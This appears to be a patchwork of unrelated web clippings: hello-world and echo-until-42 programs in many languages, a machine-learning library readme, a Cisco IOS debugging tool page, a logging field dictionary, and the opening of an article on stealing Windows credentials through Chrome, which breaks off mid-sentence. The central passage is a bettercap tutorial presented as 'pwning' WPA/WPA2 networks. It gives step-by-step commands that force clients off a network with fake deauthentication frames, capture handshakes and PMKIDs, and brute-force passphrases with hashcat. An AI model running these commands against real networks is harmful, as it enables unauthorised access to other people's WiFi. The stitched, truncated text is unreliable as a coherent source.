
    package main
     
    import "fmt"
     
    func main() {
      fmt.Printf("Hello, 世界\n")
    }
     
[/code]  
---|---  
Groovy \(groovy-1.7\) run download

[/code]

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    
[/code]

|

[code]

    class Greet {
      def name
      Greet(who) { name = who[0].toUpperCase() +
                          who[1..-1] }
      def salute() { println "Hello $name!" }
    }
     
    g = new Greet('world')  // create object
    g.salute()
     
[/code]  
---|---  
Haskell \(ghc-6.8.2\) run download

[/code]

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    
[/code]

|

[code]

    main = do
             x <- readNum
             if x == 42
               then putStr("")
               else do
                 putStr  (show (x) ++ "\n")
                 main
           where
             readNum :: IO Integer
             readNum = do
               line <- getLine
               readIO line
[/code]  
---|---  
Icon \(iconc 9.4.3\) run download

[/code]

[code]

    1
    2
    3
    4
    
[/code]

|

[code]

    procedure main () 
        while (l := read()) ~= 42 do 
           write(l); 
     end
[/code]  
---|---  
Intercal \(c-intercal 28.0-r1\) run download

[/code]

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    
[/code]

|

[code]

    DO ,915 <- #1
    DO ,2216 <- #2
    DO .2216 <- #1
    DO .129 <- #0
    DO .1215 <- #0
     
    (19) PLEASE DON'T FORGET #1
    DO REINSTATE FORGETTING
    PLEASE DO (18514) NEXT
    DO .2 <- #10
    DO (1) NEXT
    PLEASE NOTE THERE WAS A NEWLINE
    DO .1 <- .2216
    DO .2 <- #3
    DO (11) NEXT
    DO .1 <- ,2216 SUB #1
    DO .2 <- #52
    DO (11) NEXT
    DO .1 <- ,2216 SUB #2
    DO .2 <- #50
    DO (11) NEXT
    PLEASE GIVE UP
    (11) DO (31513) NEXT
    (12) DO FORGET #1
    DO .8 <- #1
    DO COME FROM (998)
    DO .1 <- .8
    DO .2 <- .2216
    DO (3) NEXT
    DO .1 <- #10
    PLEASE DO (23189) NEXT
    DO .2216 <- #1
    PLEASE DO (19) NEXT
    (3) DO (31513) NEXT
    PLEASE FORGET #1
    DO .1 <- ,2216 SUB .8
    PLEASE DO (23189) NEXT
    DO .1 <- .8
    DO .2 <- #1
    PLEASE DO (1000) NEXT
    (998) DO .8 <- .3
    (1) DO (31513) NEXT
    PLEASE NOTE THERE WAS NO NEWLINE
    PLEASE FORGET #1
    DO ,2216 SUB .2216 <- .1
    DO .1 <- .2216
    DO .2 <- #1
    PLEASE DO (1000) NEXT
    DO .2216 <- .3
    DO (19) NEXT
     
    (31513) PLEASE NOTE RESUMES #2 IF EQUAL ELSE #1
    DO RESUME '?#32768$"#65535~'"?.1$.2"~"#0$#65535"'"'~'#32768$#1'
     
    (18514) PLEASE STASH .2+.3
    DO WRITE IN ,915
    DO .1 <- ,915 SUB #1
    DO .2 <- .128
    PLEASE DO (1000) NEXT
    DO .1 <- .3~#255
    DO .128 <- .1
    PLEASE RETRIEVE .2+.3
    DO RESUME #1
     
    (23189) PLEASE STASH .1+.2+.3
    DO .1 <- !1~#15'$!1~#240'
    DO .1 <- !1~#15'$!1~#240'
    DO .1 <- !1~#15'$!1~#240'
    DO .2 <- .1
    DO .1 <- '#256$.129'~'#256$#255'
    DO .129 <- .2
    PLEASE DO (1010) NEXT
    DO ,915 SUB #1 <- .3~#255
    DO READ OUT ,915
    PLEASE RETRIEVE .1+.2+.3
    DO RESUME #1
     
    PLEASE REMEMBER TO GIVE UP
[/code]  
---|---  
Java \(sun-jdk-1.6.0.17\) run download

[/code]

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    
[/code]

|

[code]

    /* package whatever; // don't place package name! */
     
    /* The class name doesn't have to be Main, as long as the class is not public. */
    class Main
    {
      public static void main (String[] args) throws java.lang.Exception
      {
         java.io.BufferedReader r = new java.io.BufferedReader (new java.io.InputStreamReader (System.in));
         String s;
         while (!(s=r.readLine()).startsWith("42")) System.out.println(s);
      }
    }
[/code]  
---|---  
JavaScript \(rhino\) \(rhino-1.6.5\) run download

[/code]

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    
[/code]

|

[code]

    importPackage(java.io);
    importPackage(java.lang);
     
    var reader = new BufferedReader( new InputStreamReader(System['in']) );
     
    while (true){
        var line = reader.readLine();
        if (line==null || line=="42") {
           break;
        }
        else {
           System.out.println(line);
        }
    }
[/code]  
---|---  
JavaScript \(spidermonkey\) \(spidermonkey-1.7\) run download

[/code]

[code]

    1
    2
    3
    
[/code]

|

[code]

    while((num = readline()) != 42) {
            print(num);
    }
[/code]  
---|---  
Lua \(luac 5.1.4\) run download

[/code]

[code]

    1
    2
    3
    4
    5
    6
    7
    
[/code]

|

[code]

    local read, write = io.read, io.write
    local num, nl = '*n', '\n'
    while true do
      local a = read(num)
      if a == 42 then return end
      write(a, nl)
    end
[/code]  
---|---  
Nemerle \(ncc 0.9.3\) run download

[/code]

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    
[/code]

|

[code]

    using System;
    public class Test
    {
            public static Main() : void
            {
                    def solve() : void {
                            def i = int.Parse(Console.ReadLine());
                            unless (i == 42) {
                                    Console.WriteLine(i);
                                    solve();
                            }
                    }
                    solve();
            }
    }
[/code]  
---|---  
Nice \(nicec 0.9.6\) run download

[/code]

[code]

    1
    2
    3
    4
    5
    6
    
[/code]

|

[code]

    void main (String[] args)
    {
      java.io.BufferedReader r = new java.io.BufferedReader (new java.io.InputStreamReader (System.in));
      String s;
      while (!(s=notNull(r.readLine())).startsWith("42")) System.out.println(s);
    }
[/code]  
---|---  
Nimrod \(nimrod-0.8.8\) run download

[/code]

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    
[/code]

|

[code]

    proc GetBottleNumber(n: int): string =
      var bs: string
      if n == 0:
        bs = "No more bottles"
      elif n == 1:
        bs = "1 bottle"
      else:
        bs = $n & " bottles"
      return bs & " of beer"
     
    for bn in countdown(99, 1):
      var cur = GetBottleNumber(bn)
      echo(cur, " on the wall, ", cur, ".")
      echo("Take one down and pass it around, ", GetBottleNumber(bn-1), " on the wall.\n")
     
    echo "No more bottles of beer on the wall, no more bottles of beer."
    echo "Go to the store and buy some more, 99 bottles of beer on the wall."
[/code]  
---|---  
Objective-C \(gcc-4.5.1\) run download

[/code]

[code]

    1
    2
    3
    4
    5
    6
    7
    
[/code]

|

[code]

    #include <stdio.h> 
     
    int main(void) { 
      int x; 
      for(; scanf("%d",&x) > 0 && x != 42; printf("%d\n", x)); 
      return 0; 
    } 
[/code]  
---|---  
Ocaml \(ocamlopt 3.10.2\) run download

[/code]

[code]

    1
    2
    3
    4
    5
    6
    
[/code]

|

[code]

    while true do
     let n = read_int () in
     if n = 42 then exit 0;
     print_int n;
     print_newline ()
    done;;
[/code]  
---|---  
Oz \(mozart-1.4.0\) run download

[/code]

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    
[/code]

|

[code]

    functor
    import
       Application
       System
     
    define
       {System.showInfo 'Hello World!'}
       {Application.exit 0}
     
    end
     
[/code]  
---|---  
Pascal \(fpc\) \(fpc 2.2.0\) run download

[/code]

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    
[/code]

|

[code]

    program test;
     
     var x:byte;
     
     begin
          readln(x);
          while x<>42 do
           begin
                writeln(x);
                readln(x)
           end
     end.
[/code]  
---|---  
Pascal \(gpc\) \(gpc 20070904\) run download

[/code]

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    
[/code]

|

[code]

    program test;
    var x: integer;
    begin
      repeat
        readln(x);
        if x<>42 then writeln(x);
      until x=42
    end.
[/code]  
---|---  
Perl \(perl 5.12.1\) run download

[/code]

[code]

    1
    2
    3
    
[/code]

|

[code]

    #!/usr/bin/perl
     
    while (($_=<>)!=42) {print $_;}
[/code]  
---|---  
Perl 6 \(rakudo-2010.08\) run download

[/code]

[code]

    1
    2
    
[/code]

|

[code]

    while (($_ = $*IN.get) != 42) { say $_ }
     
[/code]  
---|---  
PHP \(php 5.2.11\) run download

[/code]

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    
[/code]

|

[code]

    <?php
     
      $hi = fopen('php://stdin', "r");
      $ho = fopen('php://stdout', "w");
     
      while (true) 
      {
        fscanf($hi, "%d", $n);
        if ($n == 42)
          break;
        fwrite($ho, sprintf("%d\n", $n));
      }
     
      fclose($ho);
      fclose($hi);
    ?>
[/code]  
---|---  
Pike \(pike 7.6.86\) run download

[/code]

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    
[/code]

|

[code]

    int main() {
      string s=Stdio.stdin->gets();
      while (s!="42") {
        write(s+"\n");
        s=Stdio.stdin->gets();
      }
      return 0;
    }
[/code]  
---|---  
Prolog \(swi\) \(swipl 5.6.64\) run download

[/code]

[code]

    1
    2
    3
    4
    
[/code]

|

[code]

    program :- get_char(X),get_char(Y),check(X,Y). 
    check('4','2'):-!. 
    check(X,Y):-write(X),get_char(Z),check(Y,Z).
    :- program.
[/code]  
---|---  
Python \(python 2.6.4\) run download

[/code]

[code]

    1
    2
    3
    4
    
[/code]

|

[code]

    n = int(raw_input())
    while n != 42:
        print n
        n = int(raw_input())
[/code]  
---|---  
Python 3 \(python-3.1.2\) run download

[/code]

[code]

    1
    2
    3
    4
    
[/code]

|

[code]

    n = int(input())
    while n != 42:
        print(n)
        n = int(input())
[/code]  
---|---  
R \(R-2.11.1\) run download

[/code]

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    
[/code]

|

[code]

    song<-function(n=99) {
      a<-" bottle"
      b<-" of beer on the wall, "
      c<-" of beer. "
      d<-"Take one down and pass it around: "
      #
      ## set "beer counter" vector
      counter<-c(as.character(n:1),"No more")
      # 
      ## set plural 
      s<-ifelse(counter=="1","","s")
      #
      ## build up the verses vector
      firsthalf<-paste(counter,a,s,b,counter,a,s,c,sep="")
      sechalf1.99<-paste(d,counter[-1],a,s[-1],b,sep="")
      sechalf100<-paste("Go to the store and buy some more: ",
                        counter[1],a,"s",b,sep="")
      ##
      ## song is the vector of n+1 complete verses
      song<-paste(firsthalf,c(sechalf1.99,sechalf100),sep="")
    }  
     
    print(song())
[/code]  
---|---  
Ruby \(ruby-1.9.2\) run download

[/code]

[code]

    1
    
[/code]

|

[code]

    while (s=gets.chomp()) != "42" do puts s end
[/code]  
---|---  
Scala \(scala-2.8.0.final\) run download

[/code]

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    
[/code]

|

[code]

    import java.io.{BufferedReader, InputStreamReader}
     
    object Main {
      def main(args: Array[String]) {
          var stdin =
             new BufferedReader(new InputStreamReader(System.in));
        var line = stdin.readLine();
        while(false == line.equals("42")) {
          System.out.println(line);
          line = stdin.readLine();
        }
      }
    }
[/code]  
---|---  
Scheme \(guile\) \(guile 1.8.5\) run download

[/code]

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    
[/code]

|

[code]

    (define (do_it n)
      (define (print_it n)
        (display n)
        (newline))
      (cond ((not(= n 42))
            (print_it n)
            (do_it (read)))
        ))
     
    (do_it (read))
[/code]  
---|---  
Smalltalk \(gst 3.1\) run download

[/code]

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    
[/code]

|

[code]

    |c number|
    [
       number:=0.
       [ (c := stdin next) asciiValue ~= 10 ]
       whileTrue:
       [number := (number * 10) + (c asciiValue) - 48.].
       number ~= 42
    ]
    whileTrue:
    [Transcript show: number printString; cr.]
    !
[/code]  
---|---  
SQL \(sqlite3-3.7.3\) run download

[/code]

[code]

    1
    2
    3
    
[/code]

|

[code]

    create table tbl(str varchar(20));
    insert into tbl values('Hello world!');
     
[/code]  
---|---  
Tcl \(tclsh 8.5.7\) run download

[/code]

[code]

    1
    2
    
[/code]

|

[code]

    set liczba [gets stdin]
    while { $liczba != 42 } { puts $liczba; set liczba [gets stdin] }
[/code]  
---|---  
Text \(text 6.10\) run download

[/code]

[code]

    1
    
[/code]

|

[code]

    Charlie bit me!
[/code]  
---|---  
Visual Basic .NET \(mono-2.4.2.3\) run download

[/code]

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    
[/code]

|

[code]

    Imports System
     
    Public Class Test
       Public Shared Sub Main() 
           Dim n As Integer
           n = Console.ReadLine
           Do While n <> 42
               System.Console.WriteLine(n)
               n = Console.ReadLine
           Loop
       End Sub
    End Class
[/code]  
---|---  
Whitespace \(wspace 0.3\) run download

[/code]

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    
[/code]

|

[code]

     
       
       	
     
     	
    					 
        	 	 	 
    	  	
    	 	
    	
     	   	 	 
    	
      
     
     
     
      	
     
     
     
     
[/code]  
---|---

# Microsoft/ELL

**Created:**| _7/17/2017 11:35:46 AM_  
---|---  
**Updated:**| _7/17/2017 11:35:46 AM_  
**Author:**| __  
**Tags:**| _machine-learning_  
  

  

# Embedded Learning Library

The Embedded Learning Library \(ELL\) allows you to build and deploy machine-
learned pipelines onto embedded platforms, like Raspberry Pis, Arduinos,
micro:bits, and other microcontrollers. The deployed machine learning model
runs on the device, disconnected from the cloud. Our APIs can be used either
from C++ or Python.

This project has been developed by a team of researchers at Microsoft
Research. It's a work in progress, and we expect it to change rapidly,
including breaking API changes. Despite this code churn, we welcome you to try
it and give us feedback\!

A good place to start is the tutorial, which allows you to do image
recognition on a Raspberry Pi with a web cam, disconnected from the cloud. The
software you deploy to the Pi will recognize a variety of common objects on
camera and print a label for the recognized object on the Pi's screen.

<img src='img/coffeemug.jpg' width='643' height='513' alt='coffee mug' />

## License

See LICENSE.txt.

## Code of conduct

This project has adopted the Microsoft Open Source Code of Conduct. For more
information on this code of conduct, see the Code of Conduct FAQ or contact
opencode@microsoft.com with any additional questions or comments.

## Build and Installation Instructions

  * On Windows
  * On Ubuntu Linux
  * On Mac OS X

## Additional Documentation

  * Design overview of ` data ` library
  * Design overview of ` math ` library
  * Design overview of ` model ` and ` nodes ` libraries
  * Definition of the generalized sparse data format
  * Description of the training algorithms implemented in ` trainers `

  

# Dynamips-GDB-Mod - Groundworks Technologies

**Created:**| _4/6/2011 8:28:06 AM_  
---|---  
**Updated:**| _4/6/2011 8:28:06 AM_  
**Author:**| __  
**Tags:**| _Debugging cisco reversing network-security routers_  
  

Dynamips-GDB-Mod is a patch to the Dynamips Cisco IOS emulator which
facilitates debugging and reverse engineering process of Cisco IOS by allowing
the integration with most used existing debugging and disassembler tools such
as GDB and IDA Pro.  
  
  
  
Download the latest Dynamips+patch source code here.  
  
  
Blackhat Europe 2011 slides here \(or click "view" in the attachment below\).  
  
---  
### **Attachments\(3\)**

  * BHE2011-CiscoIOS-SMuniz-AOrtega-Slides.pdf \- on Mar 19, 2011 2:51 AM by Site Admin \(version 1\)  
722k View Download

  * dynamips-0.2.8-RC2-GDB-Mod.tgz \- on Mar 18, 2011 2:52 AM by Site Admin \(version 1\)  
637k Download

  * runFuzzer.py \- on Mar 19, 2011 2:51 AM by Site Admin \(version 1\)  
4k Download

# Pwning WPA/WPA2 Networks With Bettercap and the PMKID Client-Less Attack

**Created:**| _3/2/2019 6:24:44 PM_  
---|---  
**Updated:**| _3/2/2019 6:24:44 PM_  
**Author:**| _wishi_  
**Tags:**| _wifi authentication bypass crypto wireless wpa2 wpa_  
  

  

#  Pwning WPA/WPA2 Networks With Bettercap and the PMKID Client-Less Attack

2019-02-13

__ \#bettercap, \#deauth, \#handshake, \#hashcat, \#pmkid, \#rsn, \#rsn
pmkid, \#wpa, \#wpa2

  

In this post, I’ll talk about the new WiFi related features that have been
recently implemented into bettercap, starting from how the EAPOL 4-way
handshake capturing has been automated, to a whole new type of attack that
will allow us to recover WPA PSK passwords of an AP without clients.

<img src='img/8527_logo.png' width='297' height='236' alt='logo' />

We’ll start with the assumption that your WiFi card supports monitor mode and
packet injection \(I use an `AWUS1900` with this driver\), that you have a
working hashcat \(v4.2.0 or higher is required\) installation \(ideally with
GPU support enabled\) for cracking and that you know how to use it properly
either for dictionary or brute-force attacks, as no tips on how to tune the
masks and/or generate proper dictionaries will be given :\)

On newer macOS laptops, the builtin WiFi interface `en0` already supports
monitor mode, meaning you won’t need a Linux VM in order to run this :\)

### Deauth and 4-way Handshake Capture

First thing first, let’s try a classical deauthentication attack: we’ll start
bettercap, enable the `wifi.recon` module with channel hopping and configure
the `ticker` module to refresh our screen every second with an updated view of
the nearby WiFi networks \(replace `wlan0` with the interface you want to
use\):

[code]

    1  
    2  
    3  
    4  
    5  
    6  
    7  
    8  
    9  
    
[/code]

|

[code]

    sudo bettercap -iface wlan0  
      
    # this will set the interface in monitor mode and start channel hopping on all supported frequencies  
    > wifi.recon on   
    # we want our APs sorted by number of clients for this attack, the default sorting would be `rssi asc`  
    > set wifi.show.sort clients desc  
    # every second, clear our view and present an updated list of nearby WiFi networks  
    > set ticker.commands 'clear; wifi.show'  
    > ticker on  
    
[/code]  
---|---  
You should now see something like this:

<img src='img/Temp2_6510.png' width='976' height='305' alt='recon' />

Assuming `Casa-2.4` is the network we want to attack, let’s stick to channel
`1` in order to avoid jumping to other frequencies and potentially losing
useful packets:

[code]

    1  
    
[/code]

|

[code]

    > wifi.recon.channel 1  
    
[/code]  
---|---  
What we want to do now is forcing one or more of the client stations \(we can
see 5 of them for this AP\) to disconnect by forging fake deauthentication
packets. Once they will reconnect, hopefully, bettercap will capture the
needed EAPOL frames of the handshake that we’ll later pass to hashcat for
cracking \(replace `e0:xx:xx:xx:xx:xx` with the BSSID of your target AP\):

[code]

    1  
    
[/code]

|

[code]

    > wifi.deauth e0:xx:xx:xx:xx:xx  
    
[/code]  
---|---  
If everything worked as expected and you’re close enough to the AP and the
clients, bettercap will start informing you that complete handshakes have been
captured \(you can customize the pcap file output by changing the
`wifi.handshakes.file` parameter\):

<img src='img/Temp2_6509.png' width='976' height='57' alt='deauth' />

Not only bettercap will check for complete handshakes and dump them only when
all the required packets have been captured, but it will also append to the
file one beacon packet for each AP, in order to allow any tool reading the
pcap to detect both the BSSIDs and the ESSIDs.  

The downsides of this attack are obvious: no clients = no party, moreover,
given we need to wait for at least one of them to reconnect, it can
potentially take some time.

### 4-way Handshake Cracking

Once we have succesfully captured the EAPOL frames required by hashcat in
order to crack the PSK, we’ll need to convert the `pcap` output file to the
`hccapx` format that hashcat can read. In order to do so, we can either use
this online service, or install the hashcat-utils ourselves and convert the
file locally:

[code]

    1  
    
[/code]

|

[code]

    /path/to/cap2hccapx /root/bettercap-wifi-handshakes.pcap bettercap-wifi-handshakes.hccapx  
    
[/code]  
---|---  
You can now proceed to crack the handshake\(s\) either by dictionary attack or
brute-force. For instance, to try all 8-digits combinations:

[code]

    1  
    
[/code]

|

[code]

    /path/to/hashcat -m2500 -a3 -w3 bettercap-wifi-handshakes.hccapx '?d?d?d?d?d?d?d?d'  
    
[/code]  
---|---  
And this is it, the evergreen deauthentication attack in all its simplicity,
performed with just one tool … let’s get to the fun part now :\)

### Client-less PMKID Attack

In 2018 hashcat authors disclosed a new type of attack which not only relies
**on one single packet** , but it doesn’t require any clients to be connected
to our target AP or, if clients are connected, it doesn’t require us to send
deauth frames to them, there’s no interaction between the attacker and client
stations, but just between the attacker and the AP, interaction which, if the
router is vulnerable, is almost immediate\!

It turns out that **a lot** of modern routers append an optional field at the
end of the first EAPOL frame sent by the AP itself when someone is
associating, the so called `Robust Security Network`, which includes something
called `PMKID`:

<img src='img/Temp2_6507.png' width='778' height='514' alt='pmkid' />

As explained in the original post, the PMKID is derived by using data which is
known to us:

[code]

    1  
    
[/code]

|

[code]

    PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)  
    
[/code]  
---|---  
Since the “PMK Name” string is constant, we know both the BSSID of the AP and
the station and the `PMK` is the same one obtained from a full 4-way
handshake, this is all hashcat needs in order to crack the PSK and recover the
passphrase\! Here’s where the new `wifi.assoc` command comes into play:
instead of deauthenticating existing clients as shown in the previous attack
and waiting for the full handshake to be captured, we’ll simply start to
associate with the target AP and listen for an EAPOL frame containing the RSN
PMKID data.

Say we’re still listening on channel 1 \(since we previously
`wifi.recon.channel 1`\), let’s send such association request to every AP and
see who’ll respond with useful information:

[code]

    1  
    2  
    
[/code]

|

[code]

    # wifi.assoc supports 'all' (or `*`) or a specific BSSID, just like wifi.deauth  
    > wifi.assoc all  
    
[/code]  
---|---  
All nearby vulnerable routers \(and let me reiterate: **a lot** of them are
vulnerable\), will start sending you the PMKID, which bettercap will dump to
the usual pcap file:

<img src='img/Temp2_6508.png' width='976' height='424' alt='assoc' />

### PMKID Cracking

We’ll now need to convert the PMKID data in the pcap file we just captured to
a hash format that hashcat can understand, for this we’ll use hcxpcaptool:

[code]

    1  
    
[/code]

|

[code]

    /path/to/hcxpcaptool -z bettercap-wifi-handshakes.pmkid /root/bettercap-wifi-handshakes.pcap  
    
[/code]  
---|---  
We can now proceed cracking the `bettercap-wifi.handshake.pmkid` file so
generated by using algorithm number `16800`:

[code]

    1  
    
[/code]

|

[code]

    /path/to/hashcat -m16800 -a3 -w3 bettercap-wifi-handshakes.pmkid '?d?d?d?d?d?d?d?d'  
    
[/code]  
---|---  
### Recap

  * Goodbye airmon, airodump, aireplay and whatnots: one tool to rule them all\!
  * Goodbye Kali VMs on macOS: these modules work natively out of the box, with the default Apple hardware <3
  * Full 4-way handshakes are for n00bs: just one association request and most routers will send us enough key material.

Enjoy :\)

<img src='img/Temp2_6511.png' width='601' height='601' alt='lulz' />

  

# Exploit writing tutorial part 8 : Win32 Egg Hunting

**Created:**| _3/27/2010 9:27:19 AM_  
---|---  
**Updated:**| _3/27/2010 9:27:49 AM_  
**Author:**| __  
**Tags:**| _Debugging windows security Exploit Tutorials awesome_  
  
<img src='img/Temp2_2979' />

# Security Intelligence and Big Data | raffy.ch – blog » A New and Updated Field Dictionary for Logging Standards
**Created:**| _1/28/2014 9:37:16 AM_  
---|---  
**Updated:**| _1/28/2014 9:37:16 AM_  
**Author:**| __  
**Tags:**| _Logs_  
  

# A New and Updated Field Dictionary for Logging Standards****

Filed under: Uncategorized  — Raffael Marty @ 2:51 pm

If you have been interested and been following event interchange formats or
logging standards, you know of CEF  and CEE **.** Problem is that we lost
funding for CEE, which doesn’t mean that CEE is dead**\!** In fact, I updated
the **field dictionary** to accommodate some more use-cases and data
sources**.** The one currently published by CEE is horrible. Don’t use it**.**
Use my new version\!

Whether you are using CEE  or any other logging standard for your message
formatting, you will need a naming schema; a set of field names**.** In CEE we
call that a field dictionary.

The problem with the currently published field dictionary of CEE is that it’s
inconsistent, has duplicate field names, and is missing a bunch of field names
that you commonly need**.** I updated and cleaned up the dictionary \(see
below or download  it here**.**\) Please email me with any feedback / updates
/ additions**\!** This is by no means complete, but it’s a good next iteration
to keep improving on**\!** If you know and use CEF, you can use this new
dictionary with it**.** The problem with CEF is that it has to use ArcSight’s
very limited field schema**.** And you have to overload a bunch of fields. So,
try using this schema instead\!

I was emailing with my friend Jose Nazario the other day and realized that we
never really published anything decent on the **event taxonomy** either**.**
That’s going to be my next task to gather whatever I can find in notes and
such to put together an updated version of the taxonomy with my latest
thinking; which has emerged quite a bit in the last 12 years that I have been
building event taxonomies \(starting with the ArcSight categorization schema,
Splunk’s Common Information Model, and then designing the CEE taxonomy\)**.**
Stay tuned for that**.**

For reference purposes. Here are some spin-offs from CEE which have field
dictionaries as well:

  * Project Lumberjack  which has some field names**.**
  * SyslogNG PatternDB  has a bunch of patterns and they also have a Schema **.**

Here is the new field dictionary:

**Object**| **Field**| **Type**| **Description**  
---|---|---|---  
|  action| STRING| Action taken  
| bytes\_received| NUMBER| Bytes received  
| bytes\_sent| NUMBER| Bytes sent  
| category| STRING| Log source assigned category of message  
| cmd| STRING| Command  
| duration| NUMBER| Duration in seconds  
| host| STRING| Hostname of the event source  
| in\_interface| STRING| Inbound interface  
| ip\_proto| NUMBER| IP protocol field value \(8=UDP, …\)  
| msg| STRING| The event message  
| msgid| STRING| The event message identifier  
| out\_interface| STRING| Outbound interface  
| packets\_received| NUMBER| Number of packets received  
| packets\_sent| NUMBER| Number of packets sent  
| reason| STRING| Reason for action taken or activity observed  
| rule\_number| STRING| Number of rule – firewalls, for example  
| subsys| STRING| Application subsystem responsible for generating the event  
| tcp\_flags| STRING| TCP flags  
| tid| NUMBER| Numeric thread ID associated with the process generating the
event  
| time| DATETIME| Event Start Time  
| time\_logged| DATETIME| Time log record was logged  
| time\_received| DATETIME| Time log record was received  
| vend| STRING| Vendor of the event source application  
app| name| STRING| Name of the application that generated the event  
app| session\_id| STRING| Session identifier from application  
app| vend| STRING| Application vendor  
app| ver| STRING| Application version  
dst| country| STRING| Country name of the destination  
dst| host| STRING| Network destination hostname  
dst| ipv4| IPv4| Network destination IPv4 address  
dst| ipv6| IPv6| Network destination IPv6 address  
dst| nat\_ipv4| IPv4| NAT IPv4 address of destination  
dst| nat\_ipv6| IPv6| NAT IPv6 destination address  
dst| nat\_port| NUMBER| NAT port number for destination  
dst| port| NUMBER| Network destination port  
dst| zone| STRING| Zone name for destination – examples: Bldg1, Europe  
file| line| NUMBER| File line number  
file| md5| STRING| File MD5 Hash  
file| mode| STRING| File mode flags  
file| name| STRING| File name  
file| path| STRING| File system path  
file| perm| STRING| File permissions  
file| size| NUMBER| File size in bytes  
http| content\_type| STRING| MIME content type within HTTP  
http| method| STRING| HTTP method – GET | POST | HEAD | …  
http| query\_string| STRING| HTTP query string  
http| request| STRING| HTTP request URL  
http| request\_protocol| STRING| HTTP protocol used  
http| status| NUMBER| Return code in HTTP response  
palo\_alto| actionflags| STRING| Palo Alto Networks Firewall Specific Field  
palo\_alto| config\_version| STRING| Palo Alto Networks Firewall Specific
Field  
palo\_alto| cpadding| STRING| Palo Alto Networks Firewall Specific Field  
palo\_alto| domain| STRING| Palo Alto Networks Firewall Specific Field  
palo\_alto| log\_type| STRING| Palo Alto Networks Firewall Specific Field  
palo\_alto| padding| STRING| Palo Alto Networks Firewall Specific Field  
palo\_alto| seqno| STRING| Palo Alto Networks Firewall Specific Field  
palo\_alto| serial\_number| STRING| Palo Alto Networks Firewall Specific Field  
palo\_alto| threat\_content\_type| STRING| Palo Alto Networks Firewall
Specific Field  
palo\_alto| virtual\_system| STRING| Palo Alto Networks Firewall Specific
Field  
proc| id| STRING| Process ID \(pid\)  
proc| name| STRING| Process name  
proc| tid| NUMBER| Thread identifier of the process  
src| country| STRING| Country name of the source  
src| host| STRING| Network source hostname  
src| ipv4| IPv4| Network source IPv4 address  
src| ipv6| IPv6| Network source IPv6 address  
src| nat\_ipv4| IPv4| NAT IPv4 address of source  
src| nat\_ipv6| IPv6| NAT IPVv6 address  
src| nat\_port| NUMBER| NAT port number for source  
src| port| NUMBER| Network source port  
src| zone| STRING| Zone name for source – examples: Bldg1, Europe  
syslog| fac| NUMBER| Syslog facility value  
syslog| pri| NUMBER| Syslog priority value  
syslog| pri| STRING| Event priority \(ERROR|WARN|DEBUG|CRIT\)  
syslog| sev| NUMBER| Event severity  
syslog| tag| STRING| Syslog Tag value  
syslog| ver| NUMBER| Syslog Protocol version \(0=legacy/RFC3164; 1=RFC5424\)  
user| auid| STRING| Source User login authentication ID \(login id\)  
user| domain| STRING| User account domain \(NT Domain\)  
user| eid| STRING| Source user effective ID \(euid\)  
user| gid| STRING| Group ID \(gid\)  
user| group| STRING| Group name  
user| id| STRING| User account ID \(uid\)  
user| name| STRING| User account name  
****

# Attacking the Vista Heap

**Created:**| _3/19/2010 8:36:04 PM_  
---|---  
**Updated:**| _3/19/2010 8:57:47 PM_  
**Author:**| __  
**Tags:**| _bookmark Exploit conference-material Tutorials awesome Heap_  
  
<img src='img/Temp2_911' />

# Stealing Windows credentials using Google Chrome - Help Net Security

**Created:**| _5/15/2017 9:24:00 PM_  
---|---  
**Updated:**| _5/15/2017 9:29:42 PM_  
**Author:**| __  
**Tags:**| _windows environment browser_  
  

  

# Stealing Windows credentials using Google Chrome

Read the latest issue of the \(IN\)SECURE Magazine

Attacks that leak authentication credentials using the SMB file sharing
protocol on Windows OS are an ever-present issue, exploited in various ways
but usually limited to local area networks. One of the rare research involving
attacks over the Internet was presented by Jonathan Brossard and Hormazd
Billimoria at the Black Hat security conference in 2015.

However, there have been no publicly demonstrated SMB authentication related
attacks on browsers other than Internet Explorer and Edge in the past decade.
This article describes an attack which can lead to Windows credentials theft,
affecting the default configuration of the most popular browser in the world
today, Google Chrome, as well as all Windows versions supporting it.

### The problem

With its default configuration, Chrome browser will **automatically download
files that it deems safe** without prompting the user for a download location
but instead using the preset one. From a security standpoint, this feature is
not an ideal behavior but any malicious content that slips through still
requires a user to manually open/run the file to do any damage. However, what
if the downloaded file requires no user interaction to perform malicious
actions? Are there file types that can do that?

Windows Explorer Shell Command File or SCF \(.scf\) is a lesser known file
type going back as far as Windows 98. Most Windows users came across it in
Windows 98/ME/NT/2000/XP where it was primarily used as a _Show Desktop_
shortcut. It is essentially a text file with sections that determine a command
to be run \(limited to running Explorer and toggling Desktop\) and an icon
file location. Taken as an example, this is how Show Desktop SCF file contents
